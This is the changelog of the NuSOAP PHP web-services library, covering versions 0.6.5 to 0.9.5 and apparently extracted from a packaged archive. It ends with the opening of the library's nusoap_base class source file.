patch from "BZC ToOn'S" - fixes wsdl serialization when no parameters - applied John's patch, implementing compression for the server 2003-07-22, version 0.6.5 - soap_server: fixed bug causing charset encoding not to be passed to the parser - soap_fault: added default encoding to the fault serialization - soap_parser: changed the parser to pre-load the parent's result array when processing scalar values. This increases parsing speed. 2003-07-23, version 0.6.5 - soap_base: fix code that overwrites user-supplied attributes in serialize_val - soap_base: use arrays-of-arrays rather than attempting multi-dimensional in serialize_val - xmlschema: emit import statements and qualify all elements with prefix in serializeSchema (better interop with validation tools) - soapclient: get xml character encoding from HTTP Content-Type header if provided, e.g. text/xml;charset="UTF-8" - soapclient: use headers in call if provided (previously ignored this parameter) - soap_server: in parse_request, if neither getallheaders nor $_SERVER are available, use $HTTP_SERVER_VARS to get SOAPAction and xml encoding 2003-07-24, version 0.6.5 - soap_transport_http: apply patch from Steven Brown "if the server closes connection prematurely, nusoap would spin trying to read data that isn't there" 2003-07-25, version 0.6.5 - wsdl: apply patch from Sven to workaround single schema limitation - wsdl: apply a variant of the patch from Holger to handle empty values for array by serializing an array with 0 elements - xmlschema: remove the redundant default namespace attribute on the schema element; everything in xsd is explicitly specified as being from xsd - soap_transport_http: fix setCredentials and add TODO comments in sendHTTPS about what to change if this setCredentials stays 2003-07-30, version 0.6.5 - nusoap_base: change documentation of soap_defencoding to specify it is the encoding for outgoing messages - nusoap_base: only change &, <, > to entities, not all HTML entities - soap_transport_http: update the Content-Type header in sendRequest, since soap_defencoding could be changed after ctor is called - soap_server: use soap_defencoding instead of charset_encoding - soap_server: read encoding from _SERVER if available - nusoap_base: do entity translation for string parameters with an xsd type specified (thanks David Derr) 2003-07-31, version 0.6.5 - soap_transport_http: add proxy authentication - soap_transport_http: build payload the same way for http and https - wsdl: add proxy authentication - soapclient: add proxy authentication - soapclient: allow proxy information in ctor, so that it can be used for wsdl 2003-08-01, version 0.6.5 - soap_transport_http: close a persistent connection that's at EOF - soap_transport_http: prevent conflicts between setEncoding and usePersistentConnection - soap_transport_http: fix use of $headers instead of $this->incoming_headers in getResponse - soapclient: improve handling of persistent connections - soapclient: force xml_encoding to upper case - soap_server: let the Web server decide whether to close the connection (no Connection: close header) - soap_server: force xml_encoding to upper case 2003-08-04, version 0.6.5 - soap_parser: use XML type information to pick a PHP data type; also decode base64 - soap_server: read all HTTP headers when using _SERVER or HTTP_SERVER_VARS - soap_server: add gzip encoding support for outgoing messages - soap_transport_http: deflate is gzcompress/gzuncompress (cf. http://archive.develooper.com/libwww@perl.org/msg04650.html) - soap_transport_http: clean use of persistentConnection so it's always a set boolean - soapclient: add responseData member to access deflated/gunzipped payload 2003-08-05, version 0.6.5 - soap_server: look multiple places when setting debug_flag 2003-08-07, version 0.6.5 - nusoap_base: serialize specified type (e.g. ArrayOfString) even for simple array - wsdl: only specify encodingStyle in the input/output soap bindings when it is not empty (thanks Guillaume) 2003-08-15, version 0.6.5 - soap_parser: fix parsing of elements with no XSD type specified - soap_parser: use PHP string type for XSD long and unsignedLong types 2003-08-16, version 0.6.5 - soap_parser: fix code generating warning (thanks Torsten) 2003-08-19, version 0.6.5 - soap_parser: fix another line of code generating a warning (thanks Torsten) 2003-08-22, version 0.6.5 - soap_server: remove all '--' from debug_str; previous code changed '---' to '- --' - wsdl, soapclient, soap_parser: patch submitted by Mark Spavin as described by the following... > Changes for the multiple/nested imports from the wsdl file. This builds an > array of files not just the last one and also checks for relative paths to > the parent. This will then get the imported files from the remote site > instead of your local disk. Local wsdl files should still work (untested). > > Changes for multiple encoding sytles as previously posted 2003-08-24, version 0.6.5 - wsdl, soapclient: fix some PHP notices from previous update 2003-08-26, version 0.6.5 - wsdl: support multiple SOAP ports - soapclient, soap_server: when no charset is specified, use UTF-8, even though HTTP specifies US-ASCII. - soap_transport_http: do not prepend $host with 'ssl://' for https (is this required for older cURL versions?) 2003-08-27, version 0.6.5 - soap_server: support compressed request messages (thanks John Huong) - soap_parser: deserialize Apache Vector as an array - xmlschema: use $this->typemap in getPHPType (which is not used) - soapclient, wsdl: check for WSDL errors after serializing parameters - nusoap_base: add serialization of Apache Map (when not using WSDL) - wsdl: add serialization of Apache Map (when using WSDL) - wsdl: only change &, <, > to entities, not all HTML entities 2003-08-28, version 0.6.5 - soap_transport_http: disable cURL verification of peer and server (formerly the cURL default) - soap_transport_http: mingle cURL code with straight http, so sendHTTP is no longer needed 2003-08-29, version 0.6.6 - soap_transport_http: add setContentType - soapclient: call setContentType using new getHTTPContentType and getHTTPContentTypeCharset 2003-09-05, version 0.6.6 - wsdl: add some more code to handle null/nil values (but there's still a way to go) 2003-10-21, version 0.6.6 - soap_transport_http: only include port in Host header if it was specified in the URL - soap_transport_http: add some code to use OpenSSL for PHP ssl:// scheme, but comment out since it's not ready - soap_server: use $_SERVER['PHP_SELF'] if $GLOBALS['PHP_SELF'] is not set - wsdl: add WSDL request and response and transport debug to debug - wsdl: handle custom type extending xmlschema namespace (GLUE ... Thanks Matt) - soap_parser: add param to docs - soapclient: add getHTTPBody, getHTTPContentType, getHTTPContentTypeCharset (anticipating MIME subclass) 2003-10-28, version 0.6.6 - nusoap_base: add expandEntities method - wsdl: use expandEntities - soap_fault: use expandEntities - soap_transport_http: Allow credentials to be included in URL, rather than requiring setCredentials - soap_transport_http: Merge HTTP headers that span multiple lines - soap_parser: Properly set errors in ctor - soapclient: Pass headers to parseResponse and parse them in that method 2003-10-30, version 0.6.6 - xmlschema: Add some information for the related type to an element 2003-12-09, version 0.6.6 - nusoap_base: Add some namespace methods previously in xmlschema - xmlschema: Improve parsing of complexType, element and simpleType - xmlschema: Improve serialization - xmlschema: Track imports - xmlschema: Track elementFormDefault and form attributes - wsdl: Support multiple (note that setting $server->wsdl->schemaTargetNamespace no longer does anything! Use configureWSDL instead.) - wsdl: Use form attribute of element to control namespace specification - wsdl: Support chained imports (A imports B which imports C) - wsdl: Include port in endpoint address when serializing - soap_server: Fix use of style (rpc|document) and use (encoded|literal) - soap_server: Support _SERVER[CONTENT_TYPE] in addition to _SERVER[HTTP_CONTENT_TYPE] - soap_server: Support wsdl with multiple - soap_client: Remove a var_dump - soap_client: Add style and use parameters to call method to support doc/lit without WSDL - soap_transport_http: Check that $this->fp exists when doing persistent connections 2003-12-17, version 0.6.6 - soap_server: pass namespaces to xmlschema constructor - wsdl: post-process after all imports - wsdl: remove some debug, add some error handling - xmlschema: allow enclosing namespaces to be specified in constructor - xmlschema: improve handling of compositors and simple types 2004-01-08, version 0.6.6 - soap_server: when requested WSDL is in a file, return to client using passthru (thanks Ingo Fischer) - soapclient: have proxy inherit more client state - soapclient: allow timeout and response timeout to be specified in the constructor - wsdl: allow timeout and response timeout to be specified in the constructor - soap_transport_http: allow response timeout to be specified in send and sendHTTPS 2004-01-28, version 0.6.6 - wsdl: add namespace for array and scalar when form is qualified - wsdl: fix a bug in which data type of complexType elements were ignored in serialization - wsdl: enhance handling of URLs with file scheme - wsdl: add addSimpleType - xmlschema: add addSimpleType - xmlschema: always set phpType elements - soapclient: allow a wsdl instance to be specified in constructor - soap_server: allow a wsdl instance to be specified in constructor (not tested!) - soap_server: fix default SOAPAction created in register method - soap_transport_http: accept chunking with LF separators in addition to CRLF. - wsdlcache: added class - nusoapmime: fix comments 2004-02-23, version 0.6.6 - soap_transport_http: don't try to unchunk cURL data, since cURL already does it - soap_transport_http: append CVS revision to version in User-Agent - wsdl: serialize boolean as true|false, not 1|0, to agree with XML Schema - soap_server: always exit() after returning WSDL - soap_server: use the WSDL URL scheme as the default endpoint URL scheme - soap_server: append CVS revision to version in X-SOAP-Server - nusoap_base: add (CVS) revision - wsdlcache: synchronize using a per-WSDL lock file (Thanks Ingo) - wsdlcache: add cache lifetime, after which cache contents are invalidated (Thanks Ingo) 2004-03-15, version 0.6.6 - nusoap_base: add isArraySimpleOrStruct method - soap_server: improve WSDL URL scheme determination - soap_server: only deflate/gzip payloads > 1024 bytes - soap_server: fix parameter order in fault method (always used as faultcode, faultstring) - soap_server: refactor parse_request into multiple functions (for sanity) - soap_server: set the namespace on the Response element to the same as the request - soap_server: name the return value element 'return' by default - soap_server: added and documented data fields, so that service programmers can use them if desired - soap_parser: standardize parsing error message - soap_parser: fix document and responseHeaders so they are the correct XML text (as documented) - soap_transport_http: fix read from persistent connection - soapclient: clean up debugging for persistent connection - wsdl: enforce correct naming of messages parts when an associative array is used for parameters - wsdl: better serialization of null values - wsdl: standardize parsing error message - xmlschema: standardize parsing error message 2004-03-24, version 0.6.7 - soap_transport_http: add digest authentication (based on code by Kevin A. Miller) - xmlschema: improve parsing of import elements - wsdl: do schema imports even if there are no wsdl imports 2004-04-12, version 0.6.7 - wsdl: serialize multiple elements when maxOccurs="unbounded" and value is an array - wsdl: serialize soapval values (used to force an XML type, e.g. when WSDL uses an abstract type) - nusoapmime: do not require nusoap.php (it is now the programmer's responsibility) 2004-04-21, version 0.6.7 - soap_parser: parse repeated element name into an array (de-serializes doc/lit array into a PHP array when there is more than 1 array element) - soap_server: do not wrap response in a response element for a document style service 2004-04-30, version 0.6.7 - soap_transport_http: allow digest auth params to be separated by "," as well as ", " - soap_transport_http: re-initialize incoming headers for each response - soap_server: add methodreturnisliteralxml property to allow service function to return XML as a string - soapclient: improve rpc/literal support - soapclient: allow XML string as call params in addition to array - soapclient: support document style and literal encoding when not using WSDL 2004-05-05, version 0.6.7 - wsdl: serialize PHP objects for WSDL XML Schema complexTypes, in addition to associative arrays - wsdl: fix WSDL generation when there is no encodingStyle - soap_transport_http: suppress fsockopen warnings - soap_transport_http: detect socket timeouts when reading (0 bytes returned) - soap_transport_http: read chunked content "in-line" so it works on a persistent connection - nusoap_base: serialize boolean as true|false, not 1|0, to agree with XML Schema - nusoap_base: serialize array of struct differently than array of array 2004-06-25, version 0.6.8 - soap_server: prefer gzip to deflate, since IE does not like our deflate - soap_server: move webDescription to the wsdl class - soap_server: allow class and instance method calls for service (thanks Ingo Fischer and Roland Knall) - wsdl: get webDescription from the soap_server class - wsdl: allow compression from the server - wsdl: fix serialization of soapval without a type - wsdl: propagate debug value from query string to SOAP endpoint in programmatic WSDL generation - nusoap_base: add anyType, anySimpleType for 2001 XML Schema - nusoap_base: provide additional debug functions - soap_transport_http: ignore Content-Length when chunked encoding is used - soap_transport_http: remove ':' from username for Basic authentication (cf. RFC 2617) - soap_transport_http: urldecode username and password taken from URL - soap_transport_http: use raw inflate/deflate for IE/IIS compatibility, rather than having Zlib headers according to HTTP 1.1 spec - soap_transport_http: attempt to handle the case when both the service application and Web server compress the response - soapclient: when creating proxy methods, replace '.' in operation name with '__' in function name - soapclient: initialize requestHeaders in proxy - general: use new debug methods; never access debug_str directly 2004-09-30, version 0.6.8 - soapclient: do not allow getProxy call when WSDL is not used - soapclient: use ISO-8859-1 as the charset if not specified in the Content-Type header - soapclient: when an empty string is specified for the call namespace, do not put the method element in a namespace - soapclient: let soap_transport_http check for SSL support - soapclient: have proxy inherit soap_defencoding from the client from which it is generated - soapclient: do not assume that 'ns1' is an unused namespace prefix; always generate namespace prefixes randomly - soap_parser: compare any encoding in the XML declaration to the charset from the HTTP Content-Type header (thanks Ingo Fischer) - soap_parser: improve parse repeated element name into an array (de-serializes doc/lit array into a PHP array when there is more than 1 array element) - soap_server: use ISO-8859-1 as the charset if not specified in the Content-Type header - soap_server: allow suppression of automatic UTF-8 decoding - soap_server: fix a bug when call_user_func_array() is used - soap_transport_http: correct digest authentication through a proxy - wsdl: serialize SOAP-ENC types similarly to XSD types - xmlschema: force unprefixed type into default namespace - xmlschema: fix serialization of definition of simple types 2004-10-01, version 0.6.8 - soap_parser: handle default namespace attributes - soap_server: add default_utf8 field - soap_server: support literal encoding (with RPC style) - soap_transport_http: parse HTTP status and generate error for 300, 302-307, 400, 401-417, 501-505 (thanks for the idea Ghislain) - soap_transport_http: follow HTTP redirection (HTTP status 301 and Location header) (thanks for the idea Ghislain) - xmlschema: allow any attributes to be specified in an element of a complexType, e.g., abstract, default, form, minOccurs, maxOccurs, nillable (thanks Jirka Pech for the original patch) 2004-10-02, version 0.6.8 - soapclient: read/write cookies (thanks Ingo) - soap_server: change faultcode on non-resendable faults to Client - soap_transport_http: read/write cookies (thanks Ingo) 2004-10-05, version 0.6.8 - wsdl: add addElement method - wsdl: support the document style in the register method - xmlschema: parse unnamed simpleTypes, rather than ignoring them - xmlschema: include untyped elements when parsing a complexType - xmlschema: add addElement method 2004-10-14, version 0.6.8 - soapclient: support client certificates - soap_parser: deserialize attributes, prefixing names with "!" - soap_server: notify the client with HTML when WSDL is requested but not supported by service - soap_transport_http: support client certificates - wsdl: support defaults for elements of a complexType - wsdl: serialize elements from complexType extension base - wsdl: serialize data (associative array elements) as attributes according to XML Schema - xmlschema: record extension base if present for a complexType 2004-12-15, version 0.6.8 - nusoap_base: add 2000 XML Schema (rare, but used by Akamai) - soap_parser: avoid deserializing more common attributes that are not data - soap_parser: be lax when HTTP specifies ISO-8859-1 (the default) and XML specifies UTF-8 (the norm) - soap_server: account for the fact that get_class_methods returns methods in all lower case (thanks Steve Haldane) - soap_transport_http: parse digest info that includes '=' in the data (thanks Jinsuk Kim) - wsdl: feably handle some cases for literal serialization of form="unqualified" elements - wsdl: don't serialize the decimal portion of a PHP double when the XML type is long - wsdl: fix serialization of attributes for complexType that is an extension - wsdlcache: enhance diagnostics - xmlschema: handle untyped elements - xmlschema: handle WSDL for SOAP Array that uses the base attribute plus a sequence of element 2005-01-22, version 0.6.8 - wsdl: allow an element in one schema to have a type from another schema 2005-01-24, version 0.6.8 - xmlschema: correctly parse nested complexType definitions 2005-02-14, version 0.6.8 - nusoap_base: fix a bug in which attributes were sometimes not serialized with a value - nusoap_base: improve serialization of null values (thanks Dominique Stender) - soap_parser: parse null values by handling the nil attribute (thanks Dominique Stender) - soap_server: set character encoding for a fault to be the same as for the server (thanks Mark Scott) - soap_server: correctly check for null value returned from method when WSDL is used (without WSDL, cannot distinguish whether NULL or void return is desired) - soapclient: for document style, call should always return an array rooted at the response part (all bets are off when there are multiple parts) - xmlschema: save enumeration values parsed from WSDL 2005-02-10, version 0.6.9 - soapclient: only set SOAP headers when they are specified in call params (so setHeaders still works) 2005-04-04, version 0.6.9 - soap_server: use get_class instead of is_a (thanks Thomas Noel) - soapclient: use get_class instead of is_a (thanks Thomas Noel) - soapclient: add setEndpoint method - soap_transport_http: fix client certificates (thanks Doug Anarino and Eryan Eriobowo) 2005-04-29, version 0.6.9 - nusoap_base: add global variable and methods for setting debug level - nusoap_base: use xsd:anyType instead of xsd:ur-type to serialize arrays with multiple element types (thanks Ingo Fischer) - nusoap_base: expand entities in attributes (thanks Gaetano Giunta) - soapclient: call parent constructor - soapval: call parent constructor - soap_fault: call parent constructor - soap_parser: call parent constructor - soap_server: assume get_class_methods always returns lower case for PHP 4.x only - soap_server: call parent constructor - soap_transport_http: do nothing in setEncoding if gzdeflate is not present (thanks Franck Touanen for pointing this out) - soap_transport_http: fix check for server request for digest authentication (thanks Mark Spavin) - soap_transport_http: call parent constructor - wsdl: fix documentation page popup of one method after another (thanks Owen) - wsdl: call parent constructor - wsdl: expand entities in attributes (thanks Gaetano Giunta) - xmlschema: call parent constructor 2005-06-03, version 0.6.9 - nusoap_base: serialize empty arrays as having elements xsd:anyType[0] - nusoap_base: add encodingStyle parameter to serializeEnvelope - nusoap_base: serialize xsi:type with nil values - nusoap_base: improve debug and comments - soap_parser: correctly parse an empty array to an empty array, not an empty string - soap_parser: improve debug and comments - soap_server: specify encodingStyle for envelope when WSDL is used - soapclient: factor out new getProxyClassCode method - soapclient: specify encodingStyle for envelope - soapclient: improve debug and comments - wsdl: add namespace for Apache SOAP types if a variable of such type is serialized - wsdl: serialize nil value for nillable elements when no value is provided - wsdl: serialize xsi:type with nil values - wsdl: copy attributes as well as elements to an element from its complexType - wsdl: specify encodingStyle for operations - wsdl: improve debug and comments - xmlschema: improve debug and comments 2005-06-03, version 0.7.0 - nusoap_base: improve debug and comments - nusoap_base: fix version, which should have been 0.7.0 since 2005-03-04 2005-06-06, version 0.7.1 - nusoap_base: adjust numeric element names for serialization, instead of forcing them to 'soapVal' - nusoapmime: add type=text/xml to multipart/related (thanks Emmanuel Cordonnier) - soap_fault: fix serialization of detail - soap_server: check required parameters for register method - soap_server: when getallheaders is used, massage header names - soap_server: use SOAPAction to determine operation when doc/lit service does not wrap parameters in an element with the method name (thanks Peter Hrastnik) - soap_transport_http: correctly handle multiple HTTP/1.1 100 responses for https (thanks Jan Slabon) - wsdl: fixed documentation for addComplexType (thanks Csintalan dm) - wsdl: serialize array data when maxOccurs = 'unbounded' OR maxOccurs > 1 (thanks Dominique Schreckling) - wsdl: when serializing a string == 'false' as a boolean, set the value to false - wsdl: when serializing a complexType, require the PHP value supplied to be an array 2005-07-01, version 0.7.1 - nusoap_base: Allow SOAP headers to be supplied as an array like parameters - soap_parser: de-serialize simpleContent that accompanies complexContent - soap_server: append debug information when programmatically-defined WSDL is returned - soap_transport_http: Add debug when an outgoing header is set - soapclient: Allow SOAP headers to be supplied as an array like parameters - xmlschema: serialize attributes more generally, rather than assuming they are for SOAP 1.1 Array - wsdl: when serializing, look up types by namespace, not prefix (simple programmatic doc/lit WSDL now seems to work) - wsdl: process namespace declarations first when parsing an element 2005-07-27, version 0.7.1 - nusoap_base: do not override supplied element name with class name when serializing an object in serialize_val - nusoap_base: remove http://soapinterop.org/xsd (si) from namespaces array - nusoapmime: add nusoapservermime class to implement MIME attachments on the server - soap_fault: improve documentation - soap_server: improve documentation - soap_server: make consistent use of _SERVER and HTTP_SERVER_VARS - soap_server: make all incoming HTTP header keys lower case - soap_server: add hook functions to support subclassing for MIME attachments - soap_transport_http: remove an unnecessary global statement - soapclient: when creating a proxy, make $params within each function an associative array - soapval: improve documentation - wsdl: when serializing complexType elements, used typed serialization if there is either a type or a reference for the element - wsdl: allow PHP objects to be serialized as SOAP structs in serializeType - wsdl: for WSDL and XML Schema imports, don't forget to use the TCP port number (thanks Luca GIOPPO) - wsdl: make consistent use of _SERVER and HTTP_SERVER_VARS - xmlschema: improve documentation 2005-07-31, version 0.7.2 - nusoap_base: correctly serialize attributes in serialize_val (thanks Hidran Arias) - soap_parser: when resolving references, do not assume that buildVal returns an array (thanks Akshell) - soap_parser: removed decode_entities, which does not work (thanks Martin Sarsale) - soap_server: fix a bug parsing headers from _SERVER and HTTP_SERVER_VARS (thanks Bert Catsburg) - soap_server: parse all "headers" from HTTP_SERVER_VARS (not just HTTP_*) - soap_server: use PHP_SELF instead of SCRIPT_NAME for WSDL endpoint - soap_server: when generating a fault while debug_flag is true, put debug into faultdetail - wsdl: add enumeration parameter to addSimpleType - xmlschema: add enumeration parameter to addSimpleType 2006-02-02, version 0.7.2 - soapclient: initialize paramArrayStr to improve proxy generation - soap_parser: handle PHP5 soapclient's incorrect transmission of WSDL-described SOAP encoded arrays. - soap_server: don't assume _SERVER['HTTPS'] is set; try HTTP_SERVER_VARS['HTTPS'] if it is not - soap_server: "flatten out" the parameter array to call_user_func_array (thanks Andr Mamitzsch) - soap_server: make thrown exceptions conform to specs - wsdl: use serialize_val to serialize an array when the XSD type is soapenc:Array (JBoss/Axis does this) - wsdl: change formatting of serialized XML for the WSDL - xmlschema: change formatting of namespaces when serializing XML for the schema 2006-04-07, version 0.7.2 - soap_server: if methodparams is not an array, call call_user_func_array with an empty array (thanks Eric Grossi) - wsdl: distinguish parts with element specified from those with type specified by suffixing element names with ^ - wsdl: do a case-insensitive match on schema URI when looking for type - xmlschema: only get element (not type) when name has ^ suffix 2006-05-16, version 0.7.2 - soapclient: add getHeader to get parsed SOAP Header - soap_parser: check status when receiving Header or Body element - soap_parser: add soapheader - soap_server: add requestHeader with parsed SOAP Header 2006-06-15, version 0.7.2 - wsdl: fix bug in addComplexType (thanks Maarten Meijer) - soap_transport_http: change cURL message 2007-03-19, version 0.7.2 - soapclient: declare as nusoapclient, then also subclass soapclient if SOAP extension not loaded - soapclientmime: declare as nusoapclientmime, then also subclass soapclientmime if SOAP extension not loaded 2007-03-28, version 0.7.2 - nusoap_base: fix serialization of a soapval when its value is a soapval - soapval: fix serialization of a soapval when its value is a soapval - soapval: add __toString (cf. http://article.gmane.org/gmane.comp.php.nusoap.general/2776) - nusoapclient: use lazy retrieval of WSDL instead of always getting it in the constructor - nusoapclient: fix getProxy that was broken in last revision - wsdl: add ability to set authorization credentials and retrieve WSDL outside of constructor 2007-04-05, version 0.7.2 - nusoapclientmime: don't rely exclusively on Content-Disposition to distinguish the root part from attachment; also check Content-Type (thanks Ben Bosman) - nusoapclientmime: obey RFC 2045 Section 5.1 (thanks Chris Butler) - nusoapservermime: don't rely exclusively on Content-Disposition to distinguish the root part from attachment; also check Content-Type (thanks Ben Bosman) - nusoapservermime: obey RFC 2045 Section 5.1 (thanks Chris Butler) - nusoap_base: remove extra whitespace from some XML elements - nusoap_base: allow SOAP headers to be specified as an associative array (thanks Unique) - nusoap_base: implement __toString - nusoap_base: improve doc accuracy and consistency (thanks Martin K?gler) - iso8601_to_timestamp: avoid problem with negative hours after calculation, etc. (thanks Guntram Trebs) - nusoapclient: support user-settable cURL options (thanks Ciprian Popovici) - nusoapclient: call SOAP 1.2 binding operations if no SOAP 1.1 present (there is no reason to believe this will always work!) - nusoapclient: improve doc accuracy and consistency (thanks Martin K?gler) - soap_server: don't try to use eval to call function when any parameter is an object - soap_server: don't print return value within debug string; returned objects would need __toString in PHP 5.2 - soap_server: use URL scheme for WSDL access as the scheme in SOAPAction - soap_server: strip port number from server name (some FastCGI implementations include port in server name) - soap_transport_http: support user-settable cURL options (thanks Ciprian Popovici) - soap_transport_http: use cURL for NTLM authentication - soap_transport_http: make digest authentication work for GET as well as POST - soap_transport_http: improve doc accuracy and consistency (thanks Martin K?gler) - soapval: remove __toString - wsdl: set operation style if necessary, but do not override one already provided (thanks Raffaele Capobianco) - wsdl: check SOAP 1.2 binding operations if no SOAP 1.1 present - wsdl: improve doc accuracy and consistency (thanks Martin K?gler) - xmlschema: fix simpleType serialization - xmlschema: improve doc accuracy and consistency (thanks Martin K?gler) 2007-04-09, version 0.7.2 - nusoapclient: set decode_utf8 when creating a proxy (thanks Dmitri Dmitrienko) - nusoapclient: rename class to nusoap_client - soap_fault: also provide a class named nusoap_fault - soap_parser: also provide a class named nusoap_parser - soap_server: also provide a class named nusoap_server - soap_transport_http: skip HTTP responses 301 and 401 when using cURL - soap_transport_http: don't force HTTP Connection header when using cURL - soap_transport_http: don't set HTTP Host and Content-Length headers when using cURL - soap_transport_http: support CURLOPT_SSLCERTPASSWD (thanks David Blanco) - wsdl: support user-settable cURL options (thanks Ciprian Popovici) - wsdl: serialize parameters for non-SOAP 1.1 binding operations (there is no reason to believe this will always work!) - xmlschema: also provide a class named nusoap_xmlschema - nusoapclientmime: rename class to nusoap_client_mime - nusoapservermime: rename class to nusoap_server_mime 2007-04-11, version 0.7.2 - nusoap_client: enable cURL usage to be forced (thanks Giunta Gaetano) - soap_transport_http: enable cURL proxy usage (thanks Giunta Gaetano) - soap_transport_http: enable cURL usage to be forced (thanks Giunta Gaetano) - soap_transport_http: use cURL's HTTP authentication options for basic, digest - wsdl: enable cURL usage to be forced (thanks Giunta Gaetano) 2007-04-12, version 0.7.2 - nusoap_client: add debug - nusoap_xmlschema: don't add elements of complexTypes to elements array (thanks Heiko Hund) - soap_transport_http: set cURL connection timeout if supported - soap_transport_http: add debug when setting cURL option - soap_transport_http: fix digest authentication broken in previous revision - wsdl: add debug - wsdlcache: address some issues with non-existing cache-files and PHP Warnings which came in such cases (thanks Ingo Fischer) - wsdlcache: change class name to nusoap_wsdlcache 2007-04-13, version 0.7.2 - wsdl: wrap parameters if unwrapped values are supplied and WSDL specifies Microsoft-style wrapping 2007-04-16, version 0.7.2 - nusoap_base: avoid warning in getDebugAsXMLComment - nusoap_client: small debug change - nusoap_client_mime: set responseData when the root part is found 2007-04-17, version 0.7.2 - soap_transport_http: improve detection of undefined cURL options (thanks Ingo Fischer) 2007-05-28, version 0.7.2 - soap_transport_http: support digest authentication opaque feature (cf. RFC 2617) (thanks Daniel Lacroix) - soap_transport_http: check safe_mode and open_basedir before setting CURLOPT_FOLLOWLOCATION - soap_transport_http: skip "HTTP/1.0 200 Connection established" header when cURL returns it (thanks Raimund Jacob) - nusoap_client: improve handling when getProxy is called and WSDL is not being used - nusoap_base: add comments about which specifications are used/implemented by NuSOAP - nusoap_xmlschema: create names for unnamed types that are unique by scope within XML Schema 2007-06-11, version 0.7.2 - wsdl: wrap return value if unwrapped value is supplied and WSDL specifies Microsoft-style wrapping 2007-06-22, version 0.7.2 - nusoap_xmlschema: fix serialization of simpleType restriction (thanks Rizwan Tejpar) 2007-07-30, version 0.7.2 - nusoap_server: Per http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735, rpc/literal accessor elements should not be in a namespace (thanks Kostas Kalevras) - nusoap_client: Per http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735, rpc/literal accessor elements should not be in a namespace (thanks Kostas Kalevras) 2007-10-21, version 0.7.2 - nusoap_server: Per http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735, rpc/literal accessor elements should not be in a namespace (thanks Kostas Kalevras) - nusoap_client: Per http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735, rpc/literal accessor elements should not be in a namespace (thanks Kostas Kalevras) 2007-10-26, version 0.7.2 - nusoap_server: Fix munging of _SERVER variables that start with HTTP_ (thanks Thomas Wieczorek) 2007-10-30, version 0.7.2 - nusoap_xmlschema: Serialize values for elementFormDefault, attributeFormDefault - wsdl: Improve consistency between doc/lit schema auto-wrapping and client's parsed schema - nusoap_server: Correct bug that placed encodingType in Envelope for doc/lit - nusoap_server: Specify elementFormDefault for schema within doc/lit wsdl 2007-10-31, version 0.7.2 - wsdl: Fix typo in parametersMatchWrapped (thanks Sam Stepanyan) - soap_transport_http: Fix three typos in setProxy (thanks Sam Stepanyan) - nusoap_xmlschema: Fix typo in serializeTypeDef (thanks Sam Stepanyan) 2007-11-06, version 1.0rc1 - wsdl: Improve handling of return values from doc/lit methods - nusoap_server: Handle case when method is not in a namespace 2007-11-27, version 1.0rc1 - nusoap_server: always try to invoke service for a POST - nusoap_server: only return Location: for WSDL at http://... - nusoap_base: change some syntax associated with globalDebugLevel 2008-01-08, version 1.0rc1 - nusoap_server: fix a typo where = was used instead of == (thanks J. (Johan) Bosma) 2008-01-10, version 1.0rc1 - nusoap_client: handle case where request or response has no content-type header (thanks Ingo Fischer) - nusoap_server: handle case where request or response has no content-type header (thanks Ingo Fischer) - wsdl: change CSS for .title in webDescription (thanks Marcus Uy) 2008-01-25, version 1.0rc1 - nusoap_xmlschema: when an element is of a complexType that is an extension, copy extensionBase from the type - nusoap_xmlschema: do not apply elementFormDefault to globally defined elements 2008-02-11, version 1.0rc1 - wsdl: internally set form of wrapped parameter elements to unqualified (so server handles correctly) 2008-03-03, version 1.0.rc1 - nusoap_xmlschema: fix extension when base type has no explicit prefix - nusoap_xmlschema: support XML Schema include - wsdl: improve support for sequence by serializing inherited attributes and elements first 2008-03-04, version 1.0.rc1 - wsdl: allow WSDL port name to be specified in getOperations - nusoap_client: allow WSDL port name to be specified in ctor 2008-03-06, version 1.0rc1 - wsdl: fix some port name variable references - nusoap_base: change comments regarding preferred mode of support - wsdl2nusoap: initial revision 2008-03-14, version 1.0rc1 - nusoap_base: fix timezone offset in timestamp_to_iso8601 (thanks Mario Trojan) 2008-03-27, version 1.0rc1 - nusoap_server: fix bug setting encodingStyle in serialize_return (thanks Luca Gobbo) 2008-05-15, version 1.0rc1 - nusoap_parser: handle case where Header or Body tags are used within SOAP messages (thanks Sergey Zhuravlev) 2008-08-26, version 1.0rc1 - wsdl: serialize simpleContent for complexType - wsdl: avoid serializing complexType elements with no value and minOccurs = 0 regardless of nillability 2010-04-26, version 0.9.5 - nusoap_xmlschema: replace regex function calls (ereg, eregi, split) with PCRE calls (preg_match, preg_split) (thanks Pier-Luc Duchaine) - wsdl: replace regex function calls (ereg, eregi, split) with PCRE calls (preg_match, preg_split) (thanks Pier-Luc Duchaine) - soap_transport_http: replace regex function calls (ereg, eregi, split) with PCRE calls (preg_match, preg_split) (thanks Pier-Luc Duchaine) - soap_transport_http: remove call to deprecated function set_magic_quotes_runtime - nusoap_server: replace regex function calls (ereg, eregi, split) with PCRE calls (preg_match, preg_split) (thanks Pier-Luc Duchaine) - nusoap_server: check that value is an object before calling get_class (thanks Pier-Luc Duchaine) - nusoap_parser: replace regex function calls (ereg, eregi, split) with PCRE calls (preg_match, preg_split) (thanks Pier-Luc Duchaine) - nusoap_client: replace regex function calls (ereg, eregi, split) with PCRE calls (preg_match, preg_split) (thanks Pier-Luc Duchaine) - nusoap_client: do not assign the return value of new by reference (it is deprecated) (thanks Pier-Luc Duchaine) - nusoap_base: replace regex function calls (ereg, eregi, split) with PCRE calls (preg_match, preg_split) (thanks Pier-Luc Duchaine) - nusoapmime: do not assign the return value of new by reference (it is deprecated) PKq\i<~-r-r(superwebmailer/lib/class.nusoap_base.phpnu[ * @author Scott Nichol * @version $Id: class.nusoap_base.php,v 1.56 2010/04/26 20:15:08 snichol Exp $ * @access public */ class nusoap_base { /** * Identification for HTTP headers. * * @var string * @access private */ var $title = 'NuSOAP'; /** * Version for HTTP headers. * * @var string * @access private */ var $version = '0.9.5'; /** * CVS revision for HTTP headers. * * @var string * @access private */ var $revision = '$Revision: 1.56 $'; /** * Current error string (manipulated by getError/setError) * * @var string * @access private */ var $error_str = ''; /** * Current debug string (manipulated by debug/appendDebug/clearDebug/getDebug/getDebugAsXMLComment) * * @var string * @access private */ var $debug_str = ''; /** * toggles automatic encoding of special characters as entities * (should always be true, I think) * * 